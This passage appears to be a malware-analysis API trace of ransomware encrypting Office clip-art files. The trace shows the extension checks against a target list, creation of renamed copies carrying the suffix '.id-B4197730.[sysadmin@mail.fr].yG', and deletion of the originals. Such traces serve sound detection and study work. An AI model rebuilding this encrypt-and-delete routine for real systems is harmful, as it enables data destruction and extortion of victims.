	[0175.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0175.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0175.861] lstrlenW (lpString=".doc") returned 4
	[0175.861] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0175.861] lstrlenW (lpString=".docx") returned 5
	[0175.861] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0175.861] lstrlenW (lpString=".pdf") returned 4
	[0175.862] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0175.862] lstrlenW (lpString=".xls") returned 4
	[0175.862] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0175.862] lstrlenW (lpString=".xlsx") returned 5
	[0175.862] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0175.862] lstrlenW (lpString=".ppt") returned 4
	[0175.862] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0175.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0175.862] lstrlenW (lpString=".zip") returned 4
	[0175.862] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0175.862] lstrlenW (lpString=".rar") returned 4
	[0175.862] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0175.862] lstrlenW (lpString=".bz2") returned 4
	[0175.862] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0175.862] lstrlenW (lpString=".7z") returned 3
	[0175.862] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0175.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0175.862] lstrlenW (lpString=".dbf") returned 4
	[0175.862] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0175.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0175.862] lstrlenW (lpString=".1cd") returned 4
	[0175.862] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0175.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0175.862] lstrlenW (lpString=".jpg") returned 4
	[0175.862] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0175.864] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=27393) returned 1
	[0175.864] CloseHandle (hObject=0x470) returned 1
	[0175.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg")) returned 0x220
	[0175.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0175.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0175.865] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.865] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x464
	[0175.866] GetLastError () returned 0x0
	[0175.867] ReadFile (in: hFile=0x470, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x6b01, lpOverlapped=0x0) returned 1
	[0176.111] WriteFile (in: hFile=0x464, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x6b10, lpOverlapped=0x0) returned 1
	[0176.113] ReadFile (in: hFile=0x470, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.113] WriteFile (in: hFile=0x464, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.113] SetEndOfFile (hFile=0x464) returned 1
	[0176.113] CloseHandle (hObject=0x464) returned 1
	[0176.113] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.114] SetEndOfFile (hFile=0x470) returned 1
	[0176.117] CloseHandle (hObject=0x470) returned 1
	[0176.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.328] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg")) returned 1
	[0176.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0176.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0176.821] lstrlenW (lpString=".doc") returned 4
	[0176.821] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0176.821] lstrlenW (lpString=".docx") returned 5
	[0176.821] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0176.821] lstrlenW (lpString=".pdf") returned 4
	[0176.821] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0176.821] lstrlenW (lpString=".xls") returned 4
	[0176.821] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0176.821] lstrlenW (lpString=".xlsx") returned 5
	[0176.821] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0176.821] lstrlenW (lpString=".ppt") returned 4
	[0176.821] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0176.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0176.821] lstrlenW (lpString=".zip") returned 4
	[0176.821] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0176.822] lstrlenW (lpString=".rar") returned 4
	[0176.822] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0176.822] lstrlenW (lpString=".bz2") returned 4
	[0176.822] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0176.822] lstrlenW (lpString=".7z") returned 3
	[0176.822] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0176.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0176.822] lstrlenW (lpString=".dbf") returned 4
	[0176.822] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0176.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0176.822] lstrlenW (lpString=".1cd") returned 4
	[0176.822] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0176.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0176.822] lstrlenW (lpString=".jpg") returned 4
	[0176.822] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0176.823] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=10632) returned 1
	[0176.823] CloseHandle (hObject=0x2cc) returned 1
	[0176.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf")) returned 0x220
	[0176.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0176.824] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.824] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0176.825] GetLastError () returned 0x0
	[0176.825] ReadFile (in: hFile=0x2cc, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x2988, lpOverlapped=0x0) returned 1
	[0176.862] WriteFile (in: hFile=0x3fc, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x2990, lpOverlapped=0x0) returned 1
	[0176.863] ReadFile (in: hFile=0x2cc, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.863] WriteFile (in: hFile=0x3fc, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.863] SetEndOfFile (hFile=0x3fc) returned 1
	[0176.864] CloseHandle (hObject=0x3fc) returned 1
	[0176.867] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.867] SetEndOfFile (hFile=0x2cc) returned 1
	[0176.888] CloseHandle (hObject=0x2cc) returned 1
	[0176.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.891] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf")) returned 1
	[0176.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0176.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0176.892] lstrlenW (lpString=".doc") returned 4
	[0176.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.892] lstrlenW (lpString=".docx") returned 5
	[0176.892] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0176.892] lstrlenW (lpString=".pdf") returned 4
	[0176.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.892] lstrlenW (lpString=".xls") returned 4
	[0176.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.892] lstrlenW (lpString=".xlsx") returned 5
	[0176.892] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0176.892] lstrlenW (lpString=".ppt") returned 4
	[0176.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0176.892] lstrlenW (lpString=".zip") returned 4
	[0176.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.892] lstrlenW (lpString=".rar") returned 4
	[0176.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.892] lstrlenW (lpString=".bz2") returned 4
	[0176.892] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.892] lstrlenW (lpString=".7z") returned 3
	[0176.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0176.893] lstrlenW (lpString=".dbf") returned 4
	[0176.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0176.893] lstrlenW (lpString=".1cd") returned 4
	[0176.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0176.893] lstrlenW (lpString=".jpg") returned 4
	[0176.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.894] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=13336) returned 1
	[0176.894] CloseHandle (hObject=0x2cc) returned 1
	[0176.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf")) returned 0x220
	[0176.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0176.895] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.895] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0176.896] GetLastError () returned 0x0
	[0176.896] ReadFile (in: hFile=0x2cc, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x3418, lpOverlapped=0x0) returned 1
	[0176.899] WriteFile (in: hFile=0x29c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x3420, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x3420, lpOverlapped=0x0) returned 1
	[0176.900] ReadFile (in: hFile=0x2cc, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.900] WriteFile (in: hFile=0x29c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.900] SetEndOfFile (hFile=0x29c) returned 1
	[0176.900] CloseHandle (hObject=0x29c) returned 1
	[0176.901] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.901] SetEndOfFile (hFile=0x2cc) returned 1
	[0176.905] CloseHandle (hObject=0x2cc) returned 1
	[0176.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.905] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf")) returned 1
	[0176.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0176.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0176.906] lstrlenW (lpString=".doc") returned 4
	[0176.906] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.906] lstrlenW (lpString=".docx") returned 5
	[0176.906] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0176.906] lstrlenW (lpString=".pdf") returned 4
	[0176.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.907] lstrlenW (lpString=".xls") returned 4
	[0176.907] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.907] lstrlenW (lpString=".xlsx") returned 5
	[0176.907] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0176.907] lstrlenW (lpString=".ppt") returned 4
	[0176.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0176.907] lstrlenW (lpString=".zip") returned 4
	[0176.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.907] lstrlenW (lpString=".rar") returned 4
	[0176.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.907] lstrlenW (lpString=".bz2") returned 4
	[0176.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.907] lstrlenW (lpString=".7z") returned 3
	[0176.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0176.907] lstrlenW (lpString=".dbf") returned 4
	[0176.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0176.907] lstrlenW (lpString=".1cd") returned 4
	[0176.908] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0176.908] lstrlenW (lpString=".jpg") returned 4
	[0176.908] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.908] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=10752) returned 1
	[0176.908] CloseHandle (hObject=0x2cc) returned 1
	[0176.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf")) returned 0x220
	[0176.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0176.909] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.910] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0176.911] GetLastError () returned 0x0
	[0176.911] ReadFile (in: hFile=0x2cc, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x2a00, lpOverlapped=0x0) returned 1
	[0177.227] WriteFile (in: hFile=0x29c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x2a10, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x2a10, lpOverlapped=0x0) returned 1
	[0177.229] ReadFile (in: hFile=0x2cc, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.229] WriteFile (in: hFile=0x29c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.229] SetEndOfFile (hFile=0x29c) returned 1
	[0177.230] CloseHandle (hObject=0x29c) returned 1
	[0177.230] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.230] SetEndOfFile (hFile=0x2cc) returned 1
	[0177.233] CloseHandle (hObject=0x2cc) returned 1
	[0177.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.508] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf")) returned 1
	[0177.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0177.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0177.512] lstrlenW (lpString=".doc") returned 4
	[0177.512] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.512] lstrlenW (lpString=".docx") returned 5
	[0177.512] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0177.512] lstrlenW (lpString=".pdf") returned 4
	[0177.512] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.512] lstrlenW (lpString=".xls") returned 4
	[0177.512] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.512] lstrlenW (lpString=".xlsx") returned 5
	[0177.512] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0177.512] lstrlenW (lpString=".ppt") returned 4
	[0177.512] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0177.512] lstrlenW (lpString=".zip") returned 4
	[0177.512] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.512] lstrlenW (lpString=".rar") returned 4
	[0177.512] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.512] lstrlenW (lpString=".bz2") returned 4
	[0177.512] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.512] lstrlenW (lpString=".7z") returned 3
	[0177.512] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0177.513] lstrlenW (lpString=".dbf") returned 4
	[0177.513] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0177.513] lstrlenW (lpString=".1cd") returned 4
	[0177.513] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0177.513] lstrlenW (lpString=".jpg") returned 4
